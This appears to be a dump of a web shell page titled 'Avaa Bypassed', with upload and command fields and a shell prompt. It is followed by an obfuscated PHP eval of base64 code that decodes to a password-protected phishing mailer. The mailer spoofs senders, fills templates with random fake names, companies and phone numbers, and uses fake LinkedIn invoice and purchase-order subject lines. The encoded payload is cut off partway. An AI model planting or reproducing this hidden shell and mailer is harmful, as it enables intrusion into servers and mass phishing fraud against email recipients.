[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@3.149.241.93: ~ $
<?php eval("?>".base64_decode("PD9waHAKCgpzZXNzaW9uX3N0YXJ0KCk7CnNldF90aW1lX2xpbWl0KDApOwppbmlfc2V0KCJtZW1vcnlfbGltaXQiLCAtMSk7CgpoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlLCBtYXgtYWdlPTAiKTsKaGVhZGVyKCJDYWNoZS1Db250cm9sOiBwb3N0LWNoZWNrPTAsIHByZS1jaGVjaz0wIiwgZmFsc2UpOwpoZWFkZXIoIlByYWdtYTogbm8tY2FjaGUiKTsKaGVhZGVyKCJBY2Nlc3MtQ29udHJvbC1BbGxvdy1PcmlnaW46ICoiKTsKCgokcGFzc3dvcmQgPSAibGlvbjUwNTUwNSI7IC8vIFBhc3N3b3JkIAoKZnVuY3Rpb24gZ2VuZXJhdGVSYW5kb21QaG9uZU51bWJlcigpIHsKICAgICRjb2RlMiA9IG10X3JhbmQoMTAsIDk5KTsKICAkbnVtYmVyID0gIiIubXRfcmFuZCgxMDAwMCwgOTk5OTkpOwogIHJldHVybiAnICgnLiRjb2RlMi4nKSoqKioqJy4kbnVtYmVyOwp9CmlmIChpc3NldCgkX1BPU1RbJ2FjdGlvbiddKSAmJiAkX1BPU1RbJ2FjdGlvbiddID09ICJzZW5kIikgewogICAgJEdMT0JBTFNbInJlY2lwaWVudCJdID0gb3dsVHJpbSgkX1BPU1RbJ3JlY2lwaWVudCddKTsKICAgICRHTE9CQUxTWyJzbXRwQWNjdCJdID0gb3dsVHJpbSgkX1BPU1RbJ3NtdHBBY2N0J10pOwogICAgJEdMT0JBTFNbInNlbmRlck5hbWUiXSA9IG93bFRyaW0oJF9QT1NUWydzZW5kZXJOYW1lJ10pOwogICAgJEdMT0JBTFNbInNlbmRpbmdNZXRob2QiXSA9IG93bFRyaW0oJF9QT1NUWydzZW5kaW5nTWV0aG9kJ10pOwogICAgJEdMT0JBTFNbInNlbmRlckVtYWlsIl0gPSBvd2xUcmltKCRfUE9TVFsnc2VuZGVyRW1haWwnXSk7CiAgICAkR0xPQkFMU1sicmVwbHlUbyJdID0gb3dsVHJpbSgkX1BPU1RbJ3JlcGx5VG8nXSk7CgogICAgJG1lc3NhZ2VMZXR0ZXIgPSBvd2xUcmltKCRfUE9TVFsnbWVzc2FnZUxldHRlciddKTsKICAgICRtZXNzYWdlTGV0dGVyID0gdXJsZW5jb2RlKCRtZXNzYWdlTGV0dGVyKTsKICAgICRtZXNzYWdlTGV0dGVyID0gcHJlZ19yZXBsYWNlKCIvJTVDJTIyLyIsICIlMjIiLCAkbWVzc2FnZUxldHRlcik7CiAgICAkbWVzc2FnZUxldHRlciA9IHVybGRlY29kZSgkbWVzc2FnZUxldHRlcik7CiAgICAkR0xPQkFMU1sibWVzc2FnZUxldHRlciJdID0gc3RyaXBzbGFzaGVzKCRtZXNzYWdlTGV0dGVyKTsKCiAgICAkYWx0TWVzc2FnZUxldHRlciA9IG93bFRyaW0oJF9QT1NUWydhbHRNZXNzYWdlTGV0dGVyJ10pOwogICAgJGFsdE1lc3NhZ2VMZXR0ZXIgPSB1cmxlbmNvZGUoJGFsdE1lc3NhZ2VMZXR0ZXIpOwogICAgJGFsdE1lc3NhZ2VMZXR0ZXIgPSBwcmVnX3JlcGxhY2UoIi8lNUMlMjIvIiwgIiUyMiIsICRhbHRNZXNzYWdlTGV0dGVyKTsKICAgICRhbHRNZXNzYWdlTGV0dGVyID0gdXJsZGVjb2RlKCRhbHRNZXNzYWdlTGV0dGVyKTsKICAgICRHTE9CQUxTWyJhbHRNZXNzYWdlTGV0dGVyIl0gPSBzdHJpcHNsYXNoZXMoJGFsdE1lc3NhZ2VMZXR0ZXIpOwoKICAgICRHTE9CQUxTWyJtZXNzYWdlVHlwZSJdID0gb3dsVHJpbSgkX1BPU1RbJ21lc3NhZ2VUeXBlJ10pOwogICAgJGVuY29kaW5nVHlwZSA9IG93bFRyaW0oJF9QT1NUWydlbmNvZGluZ1R5cGUnXSk7CiAgICAkR0xPQkFMU1siZW5jb2RpbmdUeXBlIl0gPSBzdHJpcHNsYXNoZXMoJGVuY29kaW5nVHlwZSk7CiAgICAkZW1haWxQcmlvcml0eSA9IG93bFRyaW0oJF9QT1NUWydlbWFpbFByaW9yaXR5J10pOwogICAgJEdMT0JBTFNbImVtYWlsUHJpb3JpdHkiXSA9IHN0cmlwc2xhc2hlcygkZW1haWxQcmlvcml0eSk7CiAgICAkbWVzc2FnZVN1YmplY3QgPSBvd2xUcmltKCRfUE9TVFsnbWVzc2FnZVN1YmplY3QnXSk7CiAgICAkR0xPQkFMU1sibWVzc2FnZVN1YmplY3QiXSA9IHN0cmlwc2xhc2hlcygkbWVzc2FnZVN1YmplY3QpOwoKICAgIHByb2Nlc3NFbWFpbFNlbmRpbmdSZXF1ZXN0KCk7Cn0KCgoKJHNlc3Npb25jb2RlID0gbWQ1KF9fRklMRV9fKTsKaWYgKCFpc3NldCgkX1NFU1NJT05bJHNlc3Npb25jb2RlXSkpCiAgICAkX1NFU1NJT05bJHNlc3Npb25jb2RlXSA9ICcnOwoKaWYgKCFlbXB0eSgkcGFzc3dvcmQpICYmICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdICE9ICRwYXNzd29yZCkgewogICAgIyBfUkVRVUVTVCBtZWFuIF9QT1NUIG9yIF9HRVQgCiAgICBpZiAoaXNzZXQoJF9SRVFVRVNUWydwYXNzJ10pIGFuZCAkX1JFUVVFU1RbJ3Bhc3MnXSA9PSAkcGFzc3dvcmQpIHsKICAgICAgICAkX1NFU1NJT05bJHNlc3Npb25jb2RlXSA9ICRwYXNzd29yZDsKICAgIH0gZWxzZSB7CiAgICAgICAgcHJpbnQgIjxwcmUgYWxpZ249Y2VudGVyPjxmb3JtIG1ldGhvZD1wb3N0PlBhc3N3b3JkOiA8aW5wdXQgdHlwZT0ncGFzc3dvcmQnIG5hbWU9J3Bhc3MnPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC9mb3JtPjwvcHJlPiI7CiAgICAgICAgZXhpdDsKICAgIH0KfQoKZnVuY3Rpb24gc2V0U2VuZGluZ01ldGhvZCgpCnsKICAgICRtYWlsID0gbmV3IFBIUE1haWxlcjsKCiAgICBpZiAoJEdMT0JBTFNbInNlbmRpbmdNZXRob2QiXSA9PSAic210cCIpIHsKICAgICAgICAkbWFpbC0+SXNTTVRQKCk7CiAgICAgICAgJHBhcnRzID0gZXhwbG9kZSgnOicsICRHTE9CQUxTWyJzbXRwQWNjdCJdKTsKICAgICAgICAkbWFpbC0+SG9zdCA9IG93bFRyaW0oJHBhcnRzWzBdKTsKICAgICAgICAkbWFpbC0+UG9ydCA9IG93bFRyaW0oJHBhcnRzWzFdKTsKCiAgICAgICAgaWYgKG93bFRyaW0oJHBhcnRzWzJdKSA9PSAnc3NsJykKICAgICAgICAgICAgJG1haWwtPlNNVFBTZWN1cmUgPSAnc3NsJzsKICAgICAgICBlbHNlIGlmIChvd2xUcmltKCRwYXJ0c1syXSkgPT0gJ3RscycpCiAgICAgICAgICAgICRtYWlsLT5TTVRQU2VjdXJlID0gJ3Rscyc7CiAgICAgICAgZWxzZQogICAgICAgICAgICAkbWFpbC0+U01UUFNlY3VyZSA9ICcnOwoKICAgICAgICBpZiAoaXNzZXQoJHBhcnRzWzNdKSAmJiBpc3NldCgkcGFydHNbNF0pKSB7CiAgICAgICAgICAgICRtYWlsLT5TTVRQQXV0aCA9IHRydWU7CiAgICAgICAgICAgICRtYWlsLT5Vc2VybmFtZSA9IG93bFRyaW0oJHBhcnRzWzNdKTsKICAgICAgICAgICAgJG1haWwtPlBhc3N3b3JkID0gb3dsVHJpbSgkcGFydHNbNF0pOwogICAgICAgIH0KICAgIH0KICAgIHJldHVybiAkbWFpbDsKfQoKCmZ1bmN0aW9uIHByb2Nlc3NFbWFpbFNlbmRpbmdSZXF1ZXN0KCkKewogICAgaWYgKCFpc19lbWFpbCgkR0xPQkFMU1sicmVjaXBpZW50Il0pKQogICAgICAgIGV4aXQoIkluY29ycmVjdCBFbWFpbCIpOwoKICAgICRtYWlsID0gc2V0U2VuZGluZ01ldGhvZCgpOwogICAgJGZyb21FbWFpbCA9IG93bENsZWFyKCRHTE9CQUxTWyJzZW5kZXJFbWFpbCJdLCAkR0xPQkFMU1sicmVjaXBpZW50Il0pOwogICAgJGZyb21OYW1lID0gb3dsQ2xlYXIoJEdMT0JBTFNbInNlbmRlck5hbWUiXSwgJEdMT0JBTFNbInJlY2lwaWVudCJdKTsKICAgICRyZXBseVRvID0gb3dsQ2xlYXIoJEdMT0JBTFNbInJlcGx5VG8iXSwgJEdMT0JBTFNbInJlY2lwaWVudCJdKTsKICAgICRyZWNpcGllbnQgPSAkR0xPQkFMU1sicmVjaXBpZW50Il07CiAgICAkc3ViamVjdCA9IG93bENsZWFyKCRHTE9CQUxTWyJtZXNzYWdlU3ViamVjdCJdLCAkR0xPQkFMU1sicmVjaXBpZW50Il0pOwogICAgJGJvZHkgPSBvd2xDbGVhcigkR0xPQkFMU1sibWVzc2FnZUxldHRlciJdLCAkR0xPQkFMU1sicmVjaXBpZW50Il0pOwogICAgJGFsdEJvZHkgPSBvd2xDbGVhcigkR0xPQkFMU1siYWx0TWVzc2FnZUxldHRlciJdLCAkR0xPQkFMU1sicmVjaXBpZW50Il0pOwogICAgJGNoYXJTZXQgPSAkR0xPQkFMU1siZW5jb2RpbmdUeXBlIl07CiAgICAkbWVzc2FnZVR5cGUgPSAkR0xPQkFMU1sibWVzc2FnZVR5cGUiXTsKICAgICRlbWFpbFByaW9yaXR5ID0gJEdMT0JBTFNbImVtYWlsUHJpb3JpdHkiXTsKCiAgICAkbWFpbC0+c2V0RnJvbSgkZnJvbUVtYWlsLCAkZnJvbU5hbWUpOwoKICAgIGlmIChpc3NldCgkcmVwbHlUbykgJiYgJHJlcGx5VG8gIT09ICIiKQogICAgICAgICRtYWlsLT5hZGRSZXBseVRvKCRyZXBseVRvKTsKCiAgICAkbWFpbC0+YWRkQWRkcmVzcygkcmVjaXBpZW50KTsKCiAgICBpZiAoaXNzZXQoJHN1YmplY3QpICYmICRzdWJqZWN0ICE9PSAiIikKICAgICAgICAkbWFpbC0+U3ViamVjdCA9ICRzdWJqZWN0OwoKICAgIGlmIChpc3NldCgkYm9keSkgJiYgJGJvZHkgIT09ICIiKQogICAgICAgICRtYWlsLT5Cb2R5ID0gICRib2R5OwoKICAgIGlmIChpc3NldCgkY2hhclNldCkgJiYgJGNoYXJTZXQgIT09ICIiKQogICAgICAgICRtYWlsLT5DaGFyU2V0ID0gJGNoYXJTZXQ7CgogICAgaWYgKGlzc2V0KCRlbWFpbFByaW9yaXR5KSAmJiAkZW1haWxQcmlvcml0eSAhPT0gIiIpCiAgICAgICAgJG1haWwtPlByaW9yaXR5ID0gJGVtYWlsUHJpb3JpdHk7CgogICAgaWYgKGlzc2V0KCRhbHRCb2R5KSAmJiAkYWx0Qm9keSAhPT0gIiIpCiAgICAgICAgJG1haWwtPkFsdEJvZHkgPSAkYWx0Qm9keTsKCiAgICBpZiAoaXNzZXQoJF9GSUxFU1snYXR0YWNobWVudCddKSkgewogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8IGNvdW50KCRfRklMRVNbJ2F0dGFjaG1lbnQnXVsnbmFtZSddKTsgJGkrKykgewogICAgICAgICAgICBpZiAoJF9GSUxFU1snYXR0YWNobWVudCddWyd0bXBfbmFtZSddWyRpXSAhPSAiIikgewogICAgICAgICAgICAgICAgJHRtcGZmID0gZmlsZV9nZXRfY29udGVudHMoJF9GSUxFU1snYXR0YWNobWVudCddWyd0bXBfbmFtZSddWyRpXSk7CiAgICAgICAgICAgICAgICAkZmluID0gb3dsQ2xlYXIoJHRtcGZmLCAkR0xPQkFMU1sicmVjaXBpZW50Il0pOwogICAgICAgICAgICAgICAgJGYgPSBmb3BlbigkX0ZJTEVTWydhdHRhY2htZW50J11bJ3RtcF9uYW1lJ11bJGldLCAidyIpOyAvLyBBcHBlbmQgbW9kZQogICAgICAgICAgICAgICAgZndyaXRlKCRmLCAkZmluKTsKICAgICAgICAgICAgICAgIGZjbG9zZSgkZik7CiAgICAgICAgICAgICAgICAkbWFpbC0+QWRkQXR0YWNobWVudCgkX0ZJTEVTWydhdHRhY2htZW50J11bJ3RtcF9uYW1lJ11bJGldLCAkX0ZJTEVTWydhdHRhY2htZW50J11bJ25hbWUnXVskaV0pOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKCiAgICBpZiAoJG1lc3NhZ2VUeXBlID09ICJodG1sIikgewogICAgICAgICRtYWlsLT5Jc0hUTUwodHJ1ZSk7CiAgICB9IGVsc2UgewogICAgICAgICRtYWlsLT5Jc0hUTUwoZmFsc2UpOwogICAgfQoKICAgIGlmICghJG1haWwtPnNlbmQoKSkgewogICAgICAgIGV4aXQoJG1haWwtPkVycm9ySW5mbyk7CiAgICB9IGVsc2UgewogICAgICAgIGV4aXQoIk9LIik7CiAgICB9Cn0KCgpmdW5jdGlvbiBvd2xUcmltKCRzdHJpbmcpCnsKICAgIHJldHVybiBzdHJpcHNsYXNoZXMobHRyaW0ocnRyaW0oJHN0cmluZykpKTsKfQoKZnVuY3Rpb24gb3dsQ2xlYXIoJHRleHQsICRlbWFpbCkKewogICAgJGVtYWlsdXNlciA9IHByZWdfcmVwbGFjZSgnLyhbXkBdKikuKi8nLCAnJDEnLCAkZW1haWwpOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy10aW1lLV0iLCBkYXRlKCJtL2QvWSBoOmk6cyBhIiwgdGltZSgpKSwgJHRleHQpOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1lbWFpbC1dIiwgJGVtYWlsLCAkdGV4dCk7CiAgICAkZ2V0QXJyYXkyID0gZXhwbG9kZSgiQCIsJGVtYWlsKTsKICAgICRkb20gPSAkZ2V0QXJyYXkyWzFdOwogICAgJHRleHQgPSAgc3RyX3JlcGxhY2UoIlstZG9tYWluLV0iLCAkZG9tLCAkdGV4dCk7CiAgICAkbmFtZWRhdGEgPSBhcnJheSgnRnJhbmsgU21pdGgnLCAnSmFuZGlpIEdlb3JnZScsICdCcmFkIENoYW5nJywgJ0ZyZWQgRnVjaW5hcmknLCAnSmVmZnJleSBDaGFycGlhICcsICdLZXJsaW4gQmVuaXRleicsICdNaWNoYWVsIE1jbGVvZCAnLCAnSmVyZW15IFJhbXNleScsICdWaWdpbGlvIFZpdGFsJywgJ0NocmlzIERhaGxzdHJvbScsICdqYXllc2ggcGFyZWtoICcsICdOaXRlc2ggSmFpbiAnLCAnQnJlbmRhbiBNYXJhc2NvJywgJ0FydW4gSmFpbicsICdqb2huIG1hdGhldycsICdKYW1hbCBTdGFtcHMnLCAnR2VuZSBNYWxhZmVldycsICdNaWNoYWVsIEJyb2Rza3knLCAnVGhvbWFzIFJ1c3NvJywgJ0FuZHJldyBBcm5vbGQnLCAnU2NvdHRpZSBBaWxwb3J0JywgJ0RhdmUgQXVndXN0aW5lJywgJ0JyaWFuIEJlZ2xpbicsICdKb2UgU2FuZGVycycsICdQaGlsaXAgVGhvbXBzb24gJywgJ0ppbW1pZSBTbWl0aCcsICdEb24gU21pdGgnLCAnSm9zaHVhIFdhdGtpbnMnLCAnU2NvdHQgV2Fsa2VyJywgJ1RlcmVzYSBEYXZpcyAnLCAnSmVyZW15IEJyb3duJywgJ0FsYW4gQXRpZW56YScsICdXaWxsIEpvbmVzJywgJ0xpbmRhIEhhc2tpbnMnLCAnRGF2aWQgSG9ybnNieScsICdEb255IEdpYmJzJywgJ1Rob21hcyBTcGVya2EnLCAnV2lsbGlhbSBBbGxlbicsICdHZW9yZ2UgTWNsZWFyJywgJ0pvbiBTbWl0aCcsICdTYW1teSBTbWl0aCcsICdNYXJ0eSBtYXknLCAnTWFyayBDb21haScsICdHYXJ5IFdhc3N1bSAnLCAnS3J5c3RhbCBMZWUnLCAnQ2hyaXMgRGFobHN0cm9tJywgJ2pheWVzaCBwYXJla2gnLCAnTml0ZXNoIEphaW4nLCAnQXJ1biBKYWluJywgJ2pvaG4gbWF0aGV3JywgJ0phbWFsIFN0YW1wcycsICdHZW5lIE1hbGFmZWV3ICcsICdNaWNoYWVsIEJyb2Rza3knLCAnU2NvdHRpZSBBaWxwb3J0JywgJ0RhdmUgQXVndXN0aW5lICcsICdUb21vbyBXYXRhbmFiZScsICdCcmlhbiBCZWdsaW4nLCAnSm9lIFNhbmRlcnMnLCAnUGhpbGlwIFRob21wc29uJywgJ1J5YW4gR3JlZ29yeScsICdKaW1taWUgU21pdGgnLCAnSm9zaHVhIFdhdGtpbnMnLCAnU2NvdHQgV2Fsa2VyJywgJ1RlcmVzYSBEYXZpcycsICdKZXJlbXkgQnJvd24nLCAnQWxhbiBBdGllbnphJywgJ1dpbGwgSm9uZXMnKTsKICAgICRuYW1lID0gJG5hbWVkYXRhW2FycmF5X3JhbmQoJG5hbWVkYXRhKV07CiAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCJbLXJhbmRvbW5hbWUtXSIsICRuYW1lLCAkdGV4dCk7CiAgICAkcGhvbmUgPSBnZW5lcmF0ZVJhbmRvbVBob25lTnVtYmVyKCk7CiAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCJbLXJhbmRvbXBob25lMS1dIiwgJHBob25lLCAkdGV4dCk7CiAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCJbLWVtYWlsdXNlci1dIiwgJGVtYWlsdXNlciwgJHRleHQpOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1yYW5kb21sZXR0ZXJzLV0iLCByYW5kU3RyaW5nKCdhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eicsIDgsIDE1KSwgJHRleHQpOwogICAgJGVtYWlsYmFzZTY0ID0gYmFzZTY0X2VuY29kZSgkZW1haWwpOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1lbWFpbGJhc2U2NC1dIiwgJGVtYWlsYmFzZTY0LCAkdGV4dCk7CiAgICAkY29tcGFueWRhdGEgPSBhcnJheSgnR2FmdGVjaCBFbmdpbmVlcmluZyBQbGMnLCAnU2hhc2hpa2FudCBQcmFiaHVkYXMgJiBDby4gKEV0aGlvcGlhKSBMdGQnLCAnQmFyb2sgQ29tcHV0ZXIgUGxjJywgJ0FMQlVSVUogR0VORVJBTCBUUkFESU5HIFBMQycsICdNQSBHZW5lcmFsIFRyYWRpbmcgUExDJywgJ0NBRSBDb25zdWx0YW50cywgTHRkJywgJ0VuY2hhbnRlZCBGb3Jlc3QgQ28uLCBMdGQnLCAnRUxFQ1RST04gVEVDSE5PTE9HWSBDTy4sIExURCcsICdTVU5DSElQIFRFQ0hOT0xPR1kgQ08uLCBMVEQnLCAnU2hlbnpoZW4gWWlkYSBUZWNobm9sb2d5IENvLiwgTHRkJywgJ0Rpbmd0YWkgUENCIENvLixMdGQnLCAnS2FtYWtpIEZvb2RzdHVmZiBUcmFkaW5nIExMQycsICdBVVJBIEVxdWlwZW1lbnRzIEtPUkVBIENvLiwgTHRkJywgJ0hvdWppIGluZHVzdHJpYWwgY28uLGx0ZCcsICdGJkcgU291bmQgTHRkJywgJ1NoYW5neXUgSmluYmFvIFBob3RvIEVxdWlwbWVudCBDby4sIEx0ZCcsICdMJlooSG9uZ0tvbmcpZWxlY3Ryb25pYyBjby4sbHRkJywgJ1NoZW56aGVuIFlvbmdzaGVuZyBJbm5vdmF0aW9uIFRlY2hub2xvZ3kgQ28uLCBMdGQnLCAnTGV2aXRyb25peCwgTExDJywgJ0lyZm1lZGlhIFRlY2hub2xvZ3kgQ28uLEx0ZCcsICdLYW1ha2kgRm9vZHN0dWZmIFRyYWRpbmcgTExDJywgJ0FncmF3YWwgQmFuZGh1IEFncm90ZWNoIFB2dC4gTHRkJywgJ0VDT05PTUlDIFRSQURFUlMoR1VKKSBQVlQgTFREJywgJ0Rpbmd4aWFuZyBKaW50ZSBGb3JnaW5nIENvLiwgTHRkJywgJ1l1c2hpbiBUcmFkaW5nIENvLiwgTHRkJywgJ1JvbmRhIFRyYWRpbmcgUHR5IEx0ZCcsICdBcnJleSAkIFNvbnMgTHRkJywgJ0dpZnRzIEludGVybmF0aW9uYWwsIExMQycsICdHcmVhdCBUcmFkZSBMdGQnLCAnWWFzYW1hbCBUcmFkaW5nIEluYycsICdCRVNUT04gSU5EVVNUUlkgQ08uLExURCcsICdFdXJvbGluayBJbnRsLiBDby4sIEx0ZCcsICdUc3VuZ2xpbiBNYWNoaW5lcnkgVGVjaG5pY2FsIENvLiBMdGQnLCAnUmVhbCBDaGFuY2UgQ28uIEx0ZCcsICdIZW5neWkgSGFyZHdhcmUgRW50ZXJwcmlzZSBDby4sIEx0ZCcsICdDQU5ESUFOIENPLiwgTFREJywgJ1RvdWNoZG93biBJbnRlcm5hdGlvbmFsIENvLiBMdGQnLCAnQ29zdHVtZSBNYWNoaW5lcnkgQ28uLCBMdGQnLCAnS2Fyc29uIFRlY2hub2xvZ3kgQ28uLCBMdGQnLCAnT0ROIFByb2R1Y3Rpb25zLCBMdGQnLCAnVGVjc3RhciBUZWNobm9sb2d5IENvLiBMdGQnLCAnV3VsYW5jaGFidSBSb25nY2hhbmcgSW5kdXN0cnkgYW5kIFRyYWRlIENPLixMdGQnLCAnRnVqaWFuIE1ldGFscyAmIE1pbmVyYWxzIEkvRSBDby4sTHRkJywgJ1poZWppYW5nIFNhbnJvbmcgRG9vcnMgQ28uLEx0ZCcsICdKaW54aW4gU3RhaW5sZXNzIFN0ZWVsIE1hbnVmYWN0dXJlIENvLixMdGQnLCAnS2FtYWtpIEZvb2RzdHVmZiBUcmFkaW5nIExMQycsICdOaW5nYm8gVW5pY28gUGFja2luZyBDby4sIEx0ZCcsICdzaGFuZ2hhaSB0ZnRzeXN0ZW1zIGNvLixsdGQnLCAnc2hhbmdoYWkgY2hsZWggZXhoaWJpdCBpbmR1c3RyeSBjby4sbHRkJywgJ1poZWppYW5nIFJleGluIERlY29yYXRpdmUgTWF0ZXJpYWwgQ08uLEx0ZCcsICdGJkIgVGVjaG5vbG9neSBDbycsICdUcmlwbGUgQSBSZW1vdmFscyBsdGQnLCAnR3Vhbmd6aG91IERvbmdjaGFvIEJ1c2luZXNzIENvLiwgTHRkJywgJ1ppYm8gR3VibyBJbnRlcm5hdGlvbmFsIENvbW1lcmNlIENvLixMdGQnLCAnQ2FyYm9uIEFzc2V0IEFncmkgR21iSCcsICdaSEVKSUFORyBERVlPVSBDTy4sTFREJywgJ0hBTkdaSE9VIE1LTElHSFRTIFRFQ0hOT0xPR1kgQ08uLCBMVEQnLCAnQmlsbGluZ3RvbiBTYWZldHkgU3lzdGVtcyBMdGQnLCAnRnV6aG91IEhvbWVFbGl0ZSBGdXJuaXR1cmUgQ28uLExURCcsICdHdWxmIENvbGQgU3RvcmVzICYgSWNlIFBsYW50IENvLicsICdCYWFmaW1wZXggR2ggTHRkJywgJ0xBSVpIT1UgR1VPTElBTkcgUEFDS0lORyBDTy4sTFREJywgJ1RpYW5qaW4gTmV3dG9uIFZhbHZlIENvLixMdGQnLCAnU0hFQkEgTEVBVEhFUiBJTkRVU1RSWSBQTEMnLCAnQ0FFIENvbnN1bHRhbnRzLCBMdGQnLCAnRW5jaGFudGVkIEZvcmVzdCBDby4sIEx0ZCcsICdFTEVDVFJPTiBURUNITk9MT0dZIENPLiwgTFREJywgJ1NVTkNISVAgVEVDSE5PTE9HWSBDTy4sIExURCcsICdTaGVuemhlbiBZaWRhIFRlY2hub2xvZ3kgQ28uLCBMdGQnLCAnJyk7CiAgICAkY29tcGFueSA9ICRjb21wYW55ZGF0YVthcnJheV9yYW5kKCRjb21wYW55ZGF0YSldOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1yYW5kb21jb21wYW55LV0iLCAkY29tcGFueSwgJHRleHQpOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1yYW5kb21zdHJpbmctXSIsIHJhbmRTdHJpbmcoJ2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OScsIDgsIDE1KSwgJHRleHQpOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1yYW5kb21udW1iZXItXSIsIHJhbmRTdHJpbmcoJzAxMjM0NTY3ODknLCA3LCAxNSksICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstcmFuZG9tbWQ1LV0iLCBtZDUocmFuZCgpKSwgJHRleHQpOwogICRqb2JkYXRhID0gYXJyYXkoJ0JyYW5jaCBNYW5hZ2VyJywgJ0FkbWluaXN0cmF0aXZlIE1hbmFnZXInLCAnQ2hpZWYgRXhlY3V0aXZlIE9mZmljZXInLCAnQnVzaW5lc3MgTWFuYWdlcicsICdBZG1pbmlzdHJhdGl2ZSBNYW5hZ2VyJywgJ0FjY291bnQgRXhlY3V0aXZlJywgJ09mZmljZSBNYW5hZ2VyICcsICdBZG1pbmlzdHJhdGl2ZSBBc3Npc3RhbnQnLCAnRXhlY3V0aXZlIEFzc2lzdGFudCcsICdTZWNyZXRhcnknLCAnT2ZmaWNlIEFzc2lzdGFudCAnLCAnQWNjb3VudCBDb2xsZWN0b3InLCAnUHJvZ3JhbSBNYW5hZ2VyJywgJ0NFTycsICdDRk8nLCAnQ2hpZWYgRXhlY3V0aXZlIE9mZmljZXInLCAnQ2hpZWYgT3BlcmF0aW5nIE9mZmljZXInLCAnQ2hpZWYgRmluYW5jaWFsIE9mZmljZXInLCAnQ2hpZWYgSW5mb3JtYXRpb24gT2ZmaWNlcicsICdDaGllZiBUZWNobm9sb2d5IE9mZmljZXInLCAnQ2hpZWYgTWFya2V0aW5nIE9mZmljZXInLCAnQ2hpZWYgSHVtYW4gUmVzb3VyY2VzIE9mZmljZXInLCAnQ2hpZWYgUHJvZHVjdCBPZmZpY2VyJywgJ0NoaWVmIEN1c3RvbWVyIE9mZmljZXInLCAnVGVhbSBMZWFkZXInLCAnTWFuYWdlcicsICdBc3Npc3RhbnQgTWFuYWdlcicsICdFeGVjdXRpdmUnLCAnRGlyZWN0b3InLCAnQWRtaW5pc3RyYXRvcicsICdQcmVzaWRlbnQnLCAnU2FsZXMgQXNzb2NpYXRlJywgJ1NhbGVzIFJlcHJlc2VudGF0aXZlJywgJ1NhbGVzIE1hbmFnZXInLCAnQWNjb3VudCBFeGVjdXRpdmUnLCAnQWNjb3VudCBNYW5hZ2VyJywgJ0RpcmVjdCBTYWxlc3BlcnNvbicsICdNYW5hZ2luZyBNZW1iZXInLCAnUHJpbmNpcGFsJyk7CiAgICAkam9iID0gJGpvYmRhdGFbYXJyYXlfcmFuZCgkam9iZGF0YSldOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1yYW5kb21qb2ItXSIsICRqb2IsICR0ZXh0KTsKICAgICRsaW5rZWRpbnN1YmplY3RkYXRhID0gYXJyYXkoJ0xpbmtlZGluICBCdXNpbmVzcyBJbnZpdGF0aW9uICDllYbliqHpgoDor7flh70nLCAnTGlua2VkSW46IDUgTmV3IE9yZGVycyAvIEludm9pY2UgUmVmOkxpbmtlZGluQjJCLScsICdCdXNpbmVzcyBJbnZpdGF0aW9uLScsICdCdXNpbmVzcyBQcm9wb3NhbC0nLCAnSW52aXRhdGlvbiBmb3IgQnVzaW5lc3MtJywgJ1NlbmRpbmcgT3V0IEJ1c2luZXNzIEludml0YXRpb25zLScsICdDb21tZXJjaWFsIEludml0YXRpb24tJywgJ0xpbmtlZEluOiBUd28gTmV3IFB1cmNoYXNlcyAvIEJpbGwgUmVmZXIgdG8gTGlua2VkSW5CMkItJywgJ0xpbmtlZEluOiBJbnZvaWNlIC8gVHdvIE5ldyBPcmRlcnMgUmVmZXJlbmNlOiBMaW5rZWRJbkIyQi0nLCAnTGlua2VkSW46IFR3byBGcmVzaCBQdXJjaGFzZSBPcmRlcnMgLyBCaWxsIFJlZmVyIHRvIExpbmtlZGluQjJCLScsICdMaW5rZWRJbjogVHdvIE5ldyBQdXJjaGFzZSBPcmRlcnMgLyBCaWxsIFJlZmVyZW5jZTogTGlua2VkSW4gQnVzaW5lc3MtdG8tQnVzaW5lc3MtJywgJ0xpbmtlZElu77ya5YWp5YCL5paw5o6h6LO86KiC5ZauL+W4s+WWruWPg+iAg++8mkxpbmtlZEluIEIyQi0nLCAnTGlua2VkSW46IFR3byBOZXcgUHVyY2hhc2VzIC8gQmlsbCBSZWZlciB0byBMaW5rZWRJbkIyQi0nLCAnTGlua2VkSW46IEludm9pY2UgLyBUd28gTmV3IE9yZGVycyBSZWZlcmVuY2U6IExpbmtlZEluQjJCLScsICdMaW5rZWRJbjogVHdvIEZyZXNoIFB1cmNoYXNlIE9yZGVycyAvIEJpbGwgUmVmZXIgdG8gTGlua2VkaW5CMkItJywgJ0xpbmtlZEluOiBUd28gTmV3IFB1cmNoYXNlIE9yZGVycyAvIEJpbGwgUmVmZXJlbmNlOiBMaW5rZWRJbiBCdXNpbmVzcy10by1CdXNpbmVzcy0nLCAnTGV0cyBkbyBidXNpbmVzcyB2aWEgTGlua2VkSW4tJywgJ+eZvOmAgeWVhuWLmemCgOiri+WHvS0nLCAn55m86YCB5ZWG5YuZ6YKA6KuL5Ye9JywgJ+iuk+aIkeWAkemAj+mBjiBMaW5rZWRJbiDplovlsZXmpa3li5knLCAnTGlua2VkSW7vvJrlhanlgIvmlrDmjqHos7zoqILllq4v5q+U54i+5Y+D6ICDIExpbmtlZGluQjJCLScsICdMaW5rZWRJbu+8muWFqeWA